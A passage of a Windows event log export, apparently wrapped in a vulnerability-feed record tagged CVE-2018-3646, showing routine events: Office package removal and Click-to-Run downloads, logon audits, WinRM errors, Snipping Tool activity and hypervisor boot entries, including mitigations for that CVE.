deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-3646", "author": {"login": "automation"}}, {"uuid": "263dad7f-9b23-4a1f-a626-bece658fc883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:49:00.060957+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/63d53080ee167c07046112e2e4ca57d8", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by 